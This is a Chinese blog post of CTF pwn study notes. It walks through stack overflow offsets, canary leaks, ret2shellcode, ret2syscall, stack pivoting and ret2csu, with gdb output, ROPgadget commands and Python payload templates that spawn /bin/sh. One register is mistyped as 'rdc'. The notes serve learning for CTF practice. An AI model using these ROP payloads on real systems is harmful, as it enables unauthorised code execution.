CTF_Pwn常见漏洞（动态更新）

最新推荐文章于 2024-06-14 09:32:35 发布

L1ngYi

最新推荐文章于 2024-06-14 09:32:35 发布

阅读量12

点赞数

文章标签：安全 web安全

本文链接：https://blog.csdn.net/qq_63035870/article/details/135528762

版权

常见漏洞利用

个人感觉来说，上来就啃CTFwiki是有点难度的。

Dark不必整太严苛，可以先跟着exp自己试着理解，能理解套路之后再去CTFwiki上矫正一下知识概念。

简单栈溢出(re2text)

首先要知道：

对x86，函数参数在函数返回地址上方

对x64，函数参数依次保存在rdi,rsi,rdc,rcx,r8,r9里，还不够的话用栈存放。

这个知识点在以后任意构造ROP链的时候都会用到！

栈溢出后转到system函数或者后门函数即可。难点在于算栈的大小

怎么计算栈的大小？wiki如是说道

这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA，根据其给定的地址计算偏移。一般变量会有以下几种索引模式

相对于栈基地址的的索引，可以直接通过查看 EBP 相对偏移获得
相对应栈顶指针的索引，一般需要进行调试，之后还是会转换到第一种类型。
直接地址索引，就相当于直接给定了地址。

一般来说，我们会有如下的覆盖需求

覆盖函数返回地址，这时候就是直接看 EBP 即可。
覆盖栈上某个变量的内容，这时候就需要更加精细的计算了。
覆盖 bss 段某个变量的内容。
根据现实执行情况，覆盖特定的变量或地址的内容。

之所以我们想要覆盖某个地址，是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。

对于第一个IDA一眼EBP，对于第二个稍微麻烦点。以bamboofox种介绍ROP时用的re2text的例题来看：

re2text

.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets

可以看到该字符串是通过相对于 esp 的索引，所以我们需要进行调试，将断点下在 call 处，查看 esp，ebp，如下：

gef➤  b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤  r
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24      gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebx   : 0x00000000
$ecx   : 0xffffffff
$edx   : 0xf7faf870  →  0x00000000
$esp   : 0xffffcd40  →  0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebp   : 0xffffcdc8  →  0x00000000
$esi   : 0xf7fae000  →  0x001b1db0
$edi   : 0xf7fae000  →  0x001b1db0
$eip   : 0x080486ae  →  <main+102> call 0x8048460 <gets@plt>

可以看到 esp 为 0xffffcd40，ebp 为 0xffffcdc8，同时 s 相对于 esp 的索引为 esp+0x1c，因此，我们可以推断

s 的地址为 0xffffcd5c
s 相对于 ebp 的偏移为 0x6c
s 相对于返回地址的偏移为 0x6c+4

(wiki真香)

金丝雀Canary泄露

什么是金丝雀？

在函数开始时就随机产生一个值，将这个值CANARY放到栈上紧挨ebp的上一个位置，当攻击者想通过缓冲区溢出覆盖ebp或者ebp下方的返回地址时，一定会覆盖掉CANARY的值；当程序结束时，程序会检查CANARY这个值和之前的是否一致，如果不一致，则不会往下运行，从而避免了缓冲区溢出攻击

所有的金丝雀有一个共同特点：尾号是 \00

而诸如write等函数在遇到\0的时候会停止输出。故一般的输出不会泄露金丝雀的值。我们需要在栈溢出的时候，精准找到Canary的值，改掉其后两位，再通过write让Canary的值被泄露。(注意：Canary的值是会变化的，故需要通过泄露得到。)泄露后，通过脚本重新封装整理还原Canary的值。在下一次的栈溢出时，只需要把Canary对应位置用Canary值覆盖即可正常溢出。

ret2shellcode

wiki给出的解释是这样的：

ret2shellcode，即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码，常见的功能主要是获取目标系统的 shell。一般来说，shellcode 需要我们自己填充。这其实是另外一种典型的利用方法，即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上，要想执行 shellcode，需要对应的 binary 在运行时，shellcode 所在的区域具有可执行权限。

但如何编写shellcode？暂时不知道。

在wiki的示例上，看到了一个来自pwntools提供的生成shellcode的函数

shellcode = asm(shellcraft.sh())

pwntools_shellcraft

根据checksec 提示的不同架构来寻找对应shellcode

//还没弄明白到底怎么使用。等整清楚再继续编辑吧

--- 4.28 ---

泄露与re2libc

x题太多了，懒得总结了。

re2syscall

控制程序执行系统调用，获取 shell。

理解起来可以是：用syscall和系统调用号来实现等价于system(binsh)的操作。

什么是系统调用？

简单地说，只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中，那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

其中，该程序是 32 位，所以我们需要使得

系统调用号，即 eax 应该为 0xb
第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。
第二个参数，即 ecx 应该为 0
第三个参数，即 edx 应该为 0

怎么实现控制寄存器？我们很很难找到一段连续的代码去控制寄存器的值，但可以试着使用Gadgets拼凑。这时候可以使用ropgadgets 工具。

大致如下利用：

➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
...(其他寄存器类似)
➜  ret2syscall ROPgadget --binary rop  --string '/bin/sh' 
➜  ret2syscall ROPgadget --binary rop  --only 'int'

这样就依次找到了各寄存器的gadget，binsh和int80x的。

system调用号表格

这样，我们就拿到了所有已知信息。一般以如下方式构造payload：

payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
#分别对应： 栈溢出大小(覆盖栈帧)，返回地址eax寄存器的弹出，eax参数 execve调用号，返回地址多个寄存器弹出，edx参数，ecx参数，ebx参数binsh，返回地址 int80

注意：RAX可以和输入长度挂钩，控制payload的长度也可能控制rax的值

栈迁移

提供的输入数据较小，不足以完成一个rop链。

但bss的输入空间足够大，可以完成rop链

栈迁移的固定格式

'a'*offset+p64(target_stack)+p64(leave)
#offset 为栈溢出(包括覆盖栈帧)的大小

re2csu

在 64 位程序中，函数的前 6 个参数是通过寄存器传递的，但是大多数时候，我们很难找到每一个寄存器对应的 gadgets。这时候，我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的，而一般的程序都会调用 libc 函数，所以这个函数一定会存在。我们先来看一下这个函数 (当然，不同版本的这个函数有一定的区别)
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp
这里我们可以利用以下几点

从 0x000000000040061A 一直到结尾，我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
从 0x0000000000400600 到 0x0000000000400609，我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi，将 r15d 赋给 edi(需要注意的是，虽然这里赋给的是 edi，但其实此时 rdi 的高 32 位寄存器值为 0(自行调试)，所以其实我们可以控制 rdi 寄存器的值，只不过只能控制低 32 位)，而这三个寄存器，也是 x64 函数调用中传递的前三个寄存器。此外，如果我们可以合理地控制 r12 与 rbx，那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0，r12 为存储我们想要调用的函数的地址。
从 0x000000000040060D 到 0x0000000000400614，我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp，这样我们就不会执行 loc_400600，进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0，rbp=1。

(wiki如是说到)

但注意，在不同版本的乌班图编译的题目中，pop寄存器的顺序是不一样的。建议可以通过IDA看一下顺序，根据题目分析。

一个调用的大致模板：

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 'a' * 0x80 + fakeebp
    #栈溢出+栈帧覆盖
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    #先调用end(后半段)去布局寄存器
    payload += p64(csu_front_addr)
    #调用前半段让布局好的寄存器传入参数寄存器
    payload += 'a' * 0x38
    payload += p64(last)
    #传完参数，布局返回地址
    sh.send(payload)
    
##调用：
 ## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

这是劫持寄存器的其中一个方法。由此方法启发，我们可以利用程序中的其他Gadgets，实现对其他寄存器的劫持。

在上面的 libc_csu_init 中我们主要利用了以下寄存器

利用尾部代码控制了 rbx，rbp，r12，r13，r14，r15。
利用中间部分的代码控制了 rdx，rsi，edi。

而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。其中，0x000000000040061A 是正常的起始地址，可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器，在 0x0000000000400621 处可以控制 rsi 寄存器。而如果想要深入地了解这一部分的内容，就要对汇编指令中的每个字段进行更加透彻地理解。如下。

gef➤  x/5i 0x000000000040061A
   0x40061a <__libc_csu_init+90>:   pop    rbx
   0x40061b <__libc_csu_init+91>:   pop    rbp
   0x40061c <__libc_csu_init+92>:   pop    r12
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
gef➤  x/5i 0x000000000040061b
   0x40061b <__libc_csu_init+91>:   pop    rbp
   0x40061c <__libc_csu_init+92>:   pop    r12
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
gef➤  x/5i 0x000000000040061A+3
   0x40061d <__libc_csu_init+93>:   pop    rsp
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
gef➤  x/5i 0x000000000040061e
   0x40061e <__libc_csu_init+94>:   pop    r13
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x000000000040061f
   0x40061f <__libc_csu_init+95>:   pop    rbp
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x0000000000400620
   0x400620 <__libc_csu_init+96>:   pop    r14
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
   0x400626:    nop    WORD PTR cs:[rax+rax*1+0x0]
gef➤  x/5i 0x0000000000400621
   0x400621 <__libc_csu_init+97>:   pop    rsi
   0x400622 <__libc_csu_init+98>:   pop    r15
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
gef➤  x/5i 0x000000000040061A+9
   0x400623 <__libc_csu_init+99>:   pop    rdi
   0x400624 <__libc_csu_init+100>:  ret
   0x400625:    nop
   0x400626:    nop    WORD PTR cs:[rax+rax*1+0x0]
   0x400630 <__libc_csu_fini>:  repz ret

格式化字符串漏洞

针对printf()系列函数中，没有严格限制好格式化的，造成用户可以自行控制格式化符。

L1ngYi

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
CTF_Pwn常见漏洞（动态更新）

常见漏洞利用个人感觉来说，上来就啃CTFwiki是有点难度的。Dark不必整太严苛，可以先跟着exp自己试着理解，能理解套路之后再去CTFwiki上矫正一下知识概念。简单栈溢出(re2text)首先要知道：对x86，函数参数在函数返回地址上方对x64，函数参数依次保存在rdi,rsi,rdc,rcx,r8,r9里，还不够的话用栈存放。这个知识点在以后任意构造ROP链的时候都会用到！...
复制链接

扫一扫